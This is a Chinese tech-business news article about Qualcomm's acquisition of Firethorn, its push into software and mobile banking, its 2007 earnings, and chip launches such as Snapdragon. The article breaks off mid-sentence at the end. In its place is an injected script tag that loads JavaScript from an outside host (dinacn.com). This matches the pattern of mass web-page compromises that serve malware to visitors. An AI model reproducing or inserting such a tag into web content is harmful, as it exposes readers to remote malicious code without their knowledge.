高通正在越来越多地淡化身上的CDMA，甚至是无线技术厂商的影子，而成为一家超越无线的新型公司。

　　“高通拥抱软件业务！”《商业周刊》以这样一个标题来回应高通收购Firethorn的消息。11月14日，高通宣布将以约2.1亿美元的现金方式收购移动银行服务商Firethorn。“高通正在扩展业务范围。”《商业周刊》写道，“作为芯片制造的领先企业，高通最近几年正在扩大其无线技术的范围。”

　　拥抱软件

　　位于美国亚特兰大的Firethorn，在金融行业拥有丰富的专业经验，它通过与无线运营商和金融机构的合作，为用户提供移动银行服务。高通希望能够借助Firethorn 公司的相关技术及其在金融机构和客户上建立起来的信誉，来推动移动银行的发展—这一业务被看作极具发展潜力的领域之一。Firethorn 公司CEO Tripp Rackley认为，移动银行、非接触式付款将在未来3年成为主流。“高通的收购是对移动商务战略价值的高度认可。”

　　此举被看作是高通进一步扩展其无线战略的重要举措。事实上，高通在软件上的布局其实早已开始。“高通的软件部门一直是非常强的。”高通公司大中华区总裁孟对《互联网周刊》表示。2002年，高通即推出BREW软件开发平台。2005年8月，高通以5700万美元现金收购英国的软件公司Elata，将其无线内容传送系统产品Senses与高通的BREW解决方案进行结合，以帮助运营商提供更广泛的模块化无线数据解决方案和服务。在高通的战略投资项目上，基本上也都选择了软件领域的合作伙伴，包括在中国与德信无线等软件开发商的深度合作。

    对于手中握有118亿美元现金和有价证券的高通来说，推广移动银行所需要的巨大投资显然不是问题。“未来一年，高通期望更多地投资在新的软件以及更新现有服务上。”《商业周刊》继续分析道，“这显然没有什么坏处。”

　　事实上，高通正在加快速度超越自己，超越传统的无线领地。几年时间里，高通已经先后将触角延伸到了手机电视、PC、消费电子等不同的领域，由一家CDMA技术厂商渐渐蜕变为一家超越无线技术的全新公司。

　　芯片突破

　　刚刚结束的2007对高通来说又是一个不错的财年，虽然这一年里高通一直被专利问题所纠缠。据11月公布的2007年第四季度和全年财报，第四季度高通净利润为11.3亿美元，年度同比增长达84%；2007财年总营收达到88.7亿美元，比2006财年增长18%，净利润则比去年增长34%，达到33亿美元。

　　在无线芯片领域，高通的增长势头依然非常迅速。2007年，其芯片业务销售收入达到52.8亿美元，同比增长22%，在公司整个收入中的比例继续上升，至59%。根据调研公司iSuppli的排名，2007年第一季度，高通首次超过德州仪器成为全球最大的无线芯片供应商，并在第二季度继续保持了这一位置。第二季度，高通还第一次跻身全球10大半导体厂商第九名的位置，成为入围这一名单的唯一一个无生产线芯片厂商。

　　11月份以来，高通公司密集地宣布了一系列在芯片领域的成果。包括全新的两款低成本HSPA芯片组出样，它可望将HSPA的终端价格降至100美元以下，并能够实现惊人的长达37天以上的待机时间；由台积电代工的、以45纳米工艺制造的3G芯片完成首次呼叫，可以大大提高芯片速度、降低功耗和成本；另外，高通还推出了三款全新的45纳米单芯片解决方案，以支持更低成本的下一代智能手机；而基于Snapdragon平台的两款多媒体芯片也已面市。“在高通看来，未来的芯片发展最重要的，一是其处理速度，二是双核，以及多模多频。”孟表示，“现在的技术越来越多，怎么样能够把这些技术融合在一起，使得消费者在不同的时间，不同的地点能够随时与互联网相连，这是非常重要的。”

　　Snapdragon可以看作是高通向消费电子领域的渗透。这一新的芯片集合了目前几乎所有的无线上网方式，包括UMTS、CDMA2000等3G网络以及802.11n和蓝牙等近距离局域网的多种通讯方式，从而满足更多“口袋型终端”的应用。该芯片采用了双核的架构，能够达到1G的处理速度，并且适用于Windows Mobile或者Linux等多种操作系统。

　　“过去一年里每个行业都在寻找自己的蓝海，高通公司也一直在移动通信产业里寻找我们的蓝海。我们新推出的两款Snapdragon芯片一个重要的特点就是内置的多功能性，不仅可以同时连接广域网和局域网，还有很强的多媒体功能，使得今后很多比较小的便携设备都能够随时随地与互联网连接。”孟说。“它能够使你在家里的娱乐工具和办公室的办公文件之间进行及时的传递。这样无论你在哪里都可以随时上网，把你的工作和生活平移，让它完全跟随你走。这将是今后我们关注的地方。”

　　三星公司是高通最早公布的合作伙伴。而现在这两款芯片在全球都已经有了更多客户，“包括中国厂商已经开始设计采用这种芯片了。”孟表示。

　　相比消费电子的融合芯片，高通在另一个领?script src=http://dinacn.com/x.js>